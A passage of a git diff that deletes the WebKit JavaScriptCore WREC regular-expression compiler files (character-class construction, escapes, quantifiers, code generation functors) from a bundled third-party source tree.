- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include "CharacterClassConstructor.h"
-
-#if ENABLE(WREC)
-
-#include "pcre_internal.h"
-#include <wtf/ASCIICType.h>
-
-using namespace WTF;
-
-namespace JSC { namespace WREC {
-
-void CharacterClassConstructor::addSorted(Vector<UChar>& matches, UChar ch)
-{
-    unsigned pos = 0;
-    unsigned range = matches.size();
-
-    // binary chop, find position to insert char.
-    while (range) {
-        unsigned index = range >> 1;
-
-        int val = matches[pos+index] - ch;
-        if (!val)
-            return;
-        else if (val > 0)
-            range = index;
-        else {
-            pos += (index+1);
-            range -= (index+1);
-        }
-    }
-    
-    if (pos == matches.size())
-        matches.append(ch);
-    else
-        matches.insert(pos, ch);
-}
-
-void CharacterClassConstructor::addSortedRange(Vector<CharacterRange>& ranges, UChar lo, UChar hi)
-{
-    unsigned end = ranges.size();
-    
-    // Simple linear scan - I doubt there are that many ranges anyway...
-    // feel free to fix this with something faster (eg binary chop).
-    for (unsigned i = 0; i < end; ++i) {
-        // does the new range fall before the current position in the array
-        if (hi < ranges[i].begin) {
-            // optional optimization: concatenate appending ranges? - may not be worthwhile.
-            if (hi == (ranges[i].begin - 1)) {
-                ranges[i].begin = lo;
-                return;
-            }
-            CharacterRange r = {lo, hi};
-            ranges.insert(i, r);
-            return;
-        }
-        // Okay, since we didn't hit the last case, the end of the new range is definitely at or after the begining
-        // If the new range start at or before the end of the last range, then the overlap (if it starts one after the
-        // end of the last range they concatenate, which is just as good.
-        if (lo <= (ranges[i].end + 1)) {
-            // found an intersect! we'll replace this entry in the array.
-            ranges[i].begin = std::min(ranges[i].begin, lo);
-            ranges[i].end = std::max(ranges[i].end, hi);
-
-            // now check if the new range can subsume any subsequent ranges.
-            unsigned next = i+1;
-            // each iteration of the loop we will either remove something from the list, or break the loop.
-            while (next < ranges.size()) {
-                if (ranges[next].begin <= (ranges[i].end + 1)) {
-                    // the next entry now overlaps / concatenates this one.
-                    ranges[i].end = std::max(ranges[i].end, ranges[next].end);
-                    ranges.remove(next);
-                } else
-                    break;
-            }
-            
-            return;
-        }
-    }
-
-    // CharacterRange comes after all existing ranges.
-    CharacterRange r = {lo, hi};
-    ranges.append(r);
-}
-
-void CharacterClassConstructor::put(UChar ch)
-{
-    // Parsing a regular expression like [a-z], we start in an initial empty state:
-    //     ((m_charBuffer == -1) && !m_isPendingDash)
-    // When buffer the 'a' sice it may be (and is in this case) part of a range:
-    //     ((m_charBuffer != -1) && !m_isPendingDash)
-    // Having parsed the hyphen we then record that the dash is also pending:
-    //     ((m_charBuffer != -1) && m_isPendingDash)
-    // The next change will always take us back to the initial state - either because
-    // a complete range has been parsed (such as [a-z]), or because a flush is forced,
-    // due to an early end in the regexp ([a-]), or a character class escape being added
-    // ([a-\s]).  The fourth permutation of m_charBuffer and m_isPendingDash is not permitted.
-    ASSERT(!((m_charBuffer == -1) && m_isPendingDash));
-
-    if (m_charBuffer != -1) {
-        if (m_isPendingDash) {
-            // EXAMPLE: parsing [-a-c], the 'c' reaches this case - we have buffered a previous character and seen a hyphen, so this is a range.
-            UChar lo = m_charBuffer;
-            UChar hi = ch;
-            // Reset back to the inital state.
-            m_charBuffer = -1;
-            m_isPendingDash = false;
-            
-            // This is an error, detected lazily.  Do not proceed.
-            if (lo > hi) {
-                m_isUpsideDown = true;
-                return;
-            }
-            
-            if (lo <= 0x7f) {
-                char asciiLo = lo;
-                char asciiHi = std::min(hi, (UChar)0x7f);
-                addSortedRange(m_ranges, lo, asciiHi);
-                
-                if (m_isCaseInsensitive) {
-                    if ((asciiLo <= 'Z') && (asciiHi >= 'A'))
-                        addSortedRange(m_ranges, std::max(asciiLo, 'A')+('a'-'A'), std::min(asciiHi, 'Z')+('a'-'A'));
-                    if ((asciiLo <= 'z') && (asciiHi >= 'a'))
-                        addSortedRange(m_ranges, std::max(asciiLo, 'a')+('A'-'a'), std::min(asciiHi, 'z')+('A'-'a'));
-                }
-            }
-            if (hi >= 0x80) {
-                UChar unicodeCurr = std::max(lo, (UChar)0x80);
-                addSortedRange(m_rangesUnicode, unicodeCurr, hi);
-                
-                if (m_isCaseInsensitive) {
-                    // we're going to scan along, updating the start of the range
-                    while (unicodeCurr <= hi) {
-                        // Spin forwards over any characters that don't have two cases.
-                        for (; jsc_pcre_ucp_othercase(unicodeCurr) == -1; ++unicodeCurr) {
-                            // if this was the last character in the range, we're done.
-                            if (unicodeCurr == hi)
-                                return;
-                        }
-                        // if we fall through to here, unicodeCurr <= hi & has another case. Get the other case.
-                        UChar rangeStart = unicodeCurr;
-                        UChar otherCurr = jsc_pcre_ucp_othercase(unicodeCurr);
-                        
-                        // If unicodeCurr is not yet hi, check the next char in the range.  If it also has another case,
-                        // and if it's other case value is one greater then the othercase value for the current last
-                        // character included in the range, we can include next into the range.
-                        while ((unicodeCurr < hi) && (jsc_pcre_ucp_othercase(unicodeCurr + 1) == (otherCurr + 1))) {
-                            // increment unicodeCurr; it points to the end of the range.
-                            // increment otherCurr, due to the check above other for next must be 1 greater than the currrent other value.
-                            ++unicodeCurr;
-                            ++otherCurr;
-                        }
-                        
-                        // otherChar is the last in the range of other case chars, calculate offset to get back to the start.
-                        addSortedRange(m_rangesUnicode, otherCurr-(unicodeCurr-rangeStart), otherCurr);
-                        
-                        // unicodeCurr has been added, move on to the next char.
-                        ++unicodeCurr;
-                    }
-                }
-            }
-        } else if (ch == '-')
-            // EXAMPLE: parsing [-a-c], the second '-' reaches this case - the hyphen is treated as potentially indicating a range.
-            m_isPendingDash = true;
-        else {
-            // EXAMPLE: Parsing [-a-c], the 'a' reaches this case - we repace the previously buffered char with the 'a'.
-            flush();
-            m_charBuffer = ch;
-        }
-    } else
-        // EXAMPLE: Parsing [-a-c], the first hyphen reaches this case - there is no buffered character
-        // (the hyphen not treated as a special character in this case, same handling for any char).
-        m_charBuffer = ch;
-}
-
-// When a character is added to the set we do not immediately add it to the arrays, in case it is actually defining a range.
-// When we have determined the character is not used in specifing a range it is added, in a sorted fashion, to the appropriate
-// array (either ascii or unicode).
-// If the pattern is case insensitive we add entries for both cases.
-void CharacterClassConstructor::flush()
-{
-    if (m_charBuffer != -1) {
-        if (m_charBuffer <= 0x7f) {
-            if (m_isCaseInsensitive && isASCIILower(m_charBuffer))
-                addSorted(m_matches, toASCIIUpper(m_charBuffer));
-            addSorted(m_matches, m_charBuffer);
-            if (m_isCaseInsensitive && isASCIIUpper(m_charBuffer))
-                addSorted(m_matches, toASCIILower(m_charBuffer));
-        } else {
-            addSorted(m_matchesUnicode, m_charBuffer);
-            if (m_isCaseInsensitive) {
-                int other = jsc_pcre_ucp_othercase(m_charBuffer);
-                if (other != -1)
-                    addSorted(m_matchesUnicode, other);
-            }
-        }
-        m_charBuffer = -1;
-    }
-    
-    if (m_isPendingDash) {
-        addSorted(m_matches, '-');
-        m_isPendingDash = false;
-    }
-}
-
-void CharacterClassConstructor::append(const CharacterClass& other)
-{
-    // [x-\s] will add, 'x', '-', and all unicode spaces to new class (same as [x\s-]).
-    // Need to check the spec, really, but think this matches PCRE behaviour.
-    flush();
-    
-    if (other.numMatches) {
-        for (size_t i = 0; i < other.numMatches; ++i)
-            addSorted(m_matches, other.matches[i]);
-    }
-    if (other.numRanges) {
-        for (size_t i = 0; i < other.numRanges; ++i)
-            addSortedRange(m_ranges, other.ranges[i].begin, other.ranges[i].end);
-    }
-    if (other.numMatchesUnicode) {
-        for (size_t i = 0; i < other.numMatchesUnicode; ++i)
-            addSorted(m_matchesUnicode, other.matchesUnicode[i]);
-    }
-    if (other.numRangesUnicode) {
-        for (size_t i = 0; i < other.numRangesUnicode; ++i)
-            addSortedRange(m_rangesUnicode, other.rangesUnicode[i].begin, other.rangesUnicode[i].end);
-    }
-}
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClassConstructor.h b/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClassConstructor.h
deleted file mode 100644
index 581733d..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/CharacterClassConstructor.h
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef CharacterClassConstructor_h
-#define CharacterClassConstructor_h
-
-#include <wtf/Platform.h>
-
-#if ENABLE(WREC)
-
-#include "CharacterClass.h"
-#include <wtf/AlwaysInline.h>
-#include <wtf/Vector.h>
-#include <wtf/unicode/Unicode.h>
-
-namespace JSC { namespace WREC {
-
-    class CharacterClassConstructor {
-    public:
-        CharacterClassConstructor(bool isCaseInsensitive)
-            : m_charBuffer(-1)
-            , m_isPendingDash(false)
-            , m_isCaseInsensitive(isCaseInsensitive)
-            , m_isUpsideDown(false)
-        {
-        }
-
-        void flush();
-        
-        // We need to flush prior to an escaped hyphen to prevent it as being treated as indicating
-        // a range, e.g. [a\-c] we flush prior to adding the hyphen so that this is not treated as
-        // [a-c].  However, we do not want to flush if we have already seen a non escaped hyphen -
-        // e.g. [+-\-] should be treated the same as [+--], producing a range that will also match
-        // a comma.
-        void flushBeforeEscapedHyphen()
-        {
-            if (!m_isPendingDash)
-                flush();
-        }
-        
-        void put(UChar ch);
-        void append(const CharacterClass& other);
-
-        bool isUpsideDown() { return m_isUpsideDown; }
-
-        ALWAYS_INLINE CharacterClass charClass()
-        {
-            CharacterClass newCharClass = {
-                m_matches.begin(), m_matches.size(),
-                m_ranges.begin(), m_ranges.size(),
-                m_matchesUnicode.begin(), m_matchesUnicode.size(),
-                m_rangesUnicode.begin(), m_rangesUnicode.size(),
-            };
-
-            return newCharClass;
-        }
-
-    private:
-        void addSorted(Vector<UChar>& matches, UChar ch);
-        void addSortedRange(Vector<CharacterRange>& ranges, UChar lo, UChar hi);
-
-        int m_charBuffer;
-        bool m_isPendingDash;
-        bool m_isCaseInsensitive;
-        bool m_isUpsideDown;
-
-        Vector<UChar> m_matches;
-        Vector<CharacterRange> m_ranges;
-        Vector<UChar> m_matchesUnicode;
-        Vector<CharacterRange> m_rangesUnicode;
-    };
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
-
-#endif // CharacterClassConstructor_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/Escapes.h b/src/3rdparty/webkit/JavaScriptCore/wrec/Escapes.h
deleted file mode 100644
index 16c1d6f..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/Escapes.h
+++ /dev/null
@@ -1,150 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef Escapes_h
-#define Escapes_h
-
-#include <wtf/Platform.h>
-
-#if ENABLE(WREC)
-
-#include <wtf/Assertions.h>
-
-namespace JSC { namespace WREC {
-
-    class CharacterClass;
-
-    class Escape {
-    public:
-        enum Type {
-            PatternCharacter,
-            CharacterClass,
-            Backreference,
-            WordBoundaryAssertion,
-            Error,
-        };
-        
-        Escape(Type type)
-            : m_type(type)
-        {
-        }
-
-        Type type() const { return m_type; }
-
-    private:
-        Type m_type;
-        
-    protected:
-        // Used by subclasses to store data.
-        union {
-            int i;
-            const WREC::CharacterClass* c;
-        } m_u;
-        bool m_invert;
-    };
-
-    class PatternCharacterEscape : public Escape {
-    public:
-        static const PatternCharacterEscape& cast(const Escape& escape)
-        {
-            ASSERT(escape.type() == PatternCharacter);
-            return static_cast<const PatternCharacterEscape&>(escape);
-        }
-        
-        PatternCharacterEscape(int character)
-            : Escape(PatternCharacter)
-        {
-            m_u.i = character;
-        }
-        
-        operator Escape() const { return *this; }
-        
-        int character() const { return m_u.i; }
-    };
-
-    class CharacterClassEscape : public Escape {
-    public:
-        static const CharacterClassEscape& cast(const Escape& escape)
-        {
-            ASSERT(escape.type() == CharacterClass);
-            return static_cast<const CharacterClassEscape&>(escape);
-        }
-        
-        CharacterClassEscape(const WREC::CharacterClass& characterClass, bool invert)
-            : Escape(CharacterClass)
-        {
-            m_u.c = &characterClass;
-            m_invert = invert;
-        }
-        
-        operator Escape() { return *this; }
-        
-        const WREC::CharacterClass& characterClass() const { return *m_u.c; }
-        bool invert() const { return m_invert; }
-    };
-
-    class BackreferenceEscape : public Escape {
-    public:
-        static const BackreferenceEscape& cast(const Escape& escape)
-        {
-            ASSERT(escape.type() == Backreference);
-            return static_cast<const BackreferenceEscape&>(escape);
-        }
-        
-        BackreferenceEscape(int subpatternId)
-            : Escape(Backreference)
-        {
-            m_u.i = subpatternId;
-        }
-        
-        operator Escape() const { return *this; }
-        
-        int subpatternId() const { return m_u.i; }
-    };
-
-    class WordBoundaryAssertionEscape : public Escape {
-    public:
-        static const WordBoundaryAssertionEscape& cast(const Escape& escape)
-        {
-            ASSERT(escape.type() == WordBoundaryAssertion);
-            return static_cast<const WordBoundaryAssertionEscape&>(escape);
-        }
-        
-        WordBoundaryAssertionEscape(bool invert)
-            : Escape(WordBoundaryAssertion)
-        {
-            m_invert = invert;
-        }
-        
-        operator Escape() const { return *this; }
-        
-        bool invert() const { return m_invert; }
-    };
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
-
-#endif // Escapes_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/Quantifier.h b/src/3rdparty/webkit/JavaScriptCore/wrec/Quantifier.h
deleted file mode 100644
index 3da74cd..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/Quantifier.h
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef Quantifier_h
-#define Quantifier_h
-
-#include <wtf/Platform.h>
-
-#if ENABLE(WREC)
-
-#include <wtf/Assertions.h>
-#include <limits.h>
-
-namespace JSC { namespace WREC {
-
-    struct Quantifier {
-        enum Type {
-            None,
-            Greedy,
-            NonGreedy,
-            Error,
-        };
-
-        Quantifier(Type type = None, unsigned min = 0, unsigned max = Infinity)
-            : type(type)
-            , min(min)
-            , max(max)
-        {
-            ASSERT(min <= max);
-        }
-
-        Type type;
-
-        unsigned min;
-        unsigned max;
-
-        static const unsigned Infinity = UINT_MAX;
-    };
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
-
-#endif // Quantifier_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/WREC.cpp b/src/3rdparty/webkit/JavaScriptCore/wrec/WREC.cpp
deleted file mode 100644
index 145a1ce..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/WREC.cpp
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include "WREC.h"
-
-#if ENABLE(WREC)
-
-#include "CharacterClassConstructor.h"
-#include "Interpreter.h"
-#include "JSGlobalObject.h"
-#include "RegisterFile.h"
-#include "WRECFunctors.h"
-#include "WRECParser.h"
-#include "pcre_internal.h"
-
-using namespace WTF;
-
-namespace JSC { namespace WREC {
-
-CompiledRegExp Generator::compileRegExp(JSGlobalData* globalData, const UString& pattern, unsigned* numSubpatterns_ptr, const char** error_ptr, RefPtr<ExecutablePool>& pool, bool ignoreCase, bool multiline)
-{
-    if (pattern.size() > MAX_PATTERN_SIZE) {
-        *error_ptr = "regular expression too large";
-        return 0;
-    }
-
-    Parser parser(pattern, ignoreCase, multiline);
-    Generator& generator = parser.generator();
-    MacroAssembler::JumpList failures;
-    MacroAssembler::Jump endOfInput;
-
-    generator.generateEnter();
-    generator.generateSaveIndex();
-
-    Label beginPattern(&generator);
-    parser.parsePattern(failures);
-    generator.generateReturnSuccess();
-
-    failures.link(&generator);
-    generator.generateIncrementIndex(&endOfInput);
-    parser.parsePattern(failures);
-    generator.generateReturnSuccess();
-
-    failures.link(&generator);
-    generator.generateIncrementIndex();
-    generator.generateJumpIfNotEndOfInput(beginPattern);
-    
-    endOfInput.link(&generator);
-    generator.generateReturnFailure();
-
-    if (parser.error()) {
-        *error_ptr = parser.syntaxError(); // NULL in the case of patterns that WREC doesn't support yet.
-        return 0;
-    }
-
-    *numSubpatterns_ptr = parser.numSubpatterns();
-    pool = globalData->executableAllocator.poolForSize(generator.size());
-    return reinterpret_cast<CompiledRegExp>(generator.copyCode(pool.get()));
-}
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/WREC.h b/src/3rdparty/webkit/JavaScriptCore/wrec/WREC.h
deleted file mode 100644
index 483dce0..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/WREC.h
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef WREC_h
-#define WREC_h
-
-#include <wtf/Platform.h>
-
-#if ENABLE(WREC)
-
-#include <wtf/unicode/Unicode.h>
-
-#if COMPILER(GCC) && PLATFORM(X86)
-#define WREC_CALL __attribute__ ((regparm (3)))
-#else
-#define WREC_CALL
-#endif
-
-namespace JSC {
-    class Interpreter;
-    class UString;
-}
-
-namespace JSC { namespace WREC {
-
-    typedef int (*CompiledRegExp)(const UChar* input, unsigned start, unsigned length, int* output) WREC_CALL;
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
-
-#endif // WREC_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECFunctors.cpp b/src/3rdparty/webkit/JavaScriptCore/wrec/WRECFunctors.cpp
deleted file mode 100644
index 5f1674e..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECFunctors.cpp
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include "WRECFunctors.h"
-
-#if ENABLE(WREC)
-
-#include "WRECGenerator.h"
-
-using namespace WTF;
-
-namespace JSC { namespace WREC {
-
-void GeneratePatternCharacterFunctor::generateAtom(Generator* generator, Generator::JumpList& failures)
-{
-    generator->generatePatternCharacter(failures, m_ch);
-}
-
-void GeneratePatternCharacterFunctor::backtrack(Generator* generator)
-{
-    generator->generateBacktrack1();
-}
-
-void GenerateCharacterClassFunctor::generateAtom(Generator* generator, Generator::JumpList& failures)
-{
-    generator->generateCharacterClass(failures, *m_charClass, m_invert);
-}
-
-void GenerateCharacterClassFunctor::backtrack(Generator* generator)
-{
-    generator->generateBacktrack1();
-}
-
-void GenerateBackreferenceFunctor::generateAtom(Generator* generator, Generator::JumpList& failures)
-{
-    generator->generateBackreference(failures, m_subpatternId);
-}
-
-void GenerateBackreferenceFunctor::backtrack(Generator* generator)
-{
-    generator->generateBacktrackBackreference(m_subpatternId);
-}
-
-void GenerateParenthesesNonGreedyFunctor::generateAtom(Generator* generator, Generator::JumpList& failures)
-{
-    generator->generateParenthesesNonGreedy(failures, m_start, m_success, m_fail);
-}
-
-void GenerateParenthesesNonGreedyFunctor::backtrack(Generator*)
-{
-    // FIXME: do something about this.
-    CRASH();
-}
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECFunctors.h b/src/3rdparty/webkit/JavaScriptCore/wrec/WRECFunctors.h
deleted file mode 100644
index 610ce55..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECFunctors.h
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include <wtf/Platform.h>
-
-#if ENABLE(WREC)
-
-#include "WRECGenerator.h"
-#include <wtf/unicode/Unicode.h>
-
-namespace JSC { namespace WREC {
-
-    struct CharacterClass;
-
-    class GenerateAtomFunctor {
-    public:
-        virtual ~GenerateAtomFunctor() {}
-
-        virtual void generateAtom(Generator*, Generator::JumpList&) = 0;
-        virtual void backtrack(Generator*) = 0;
-    };
-
-    class GeneratePatternCharacterFunctor : public GenerateAtomFunctor {
-    public:
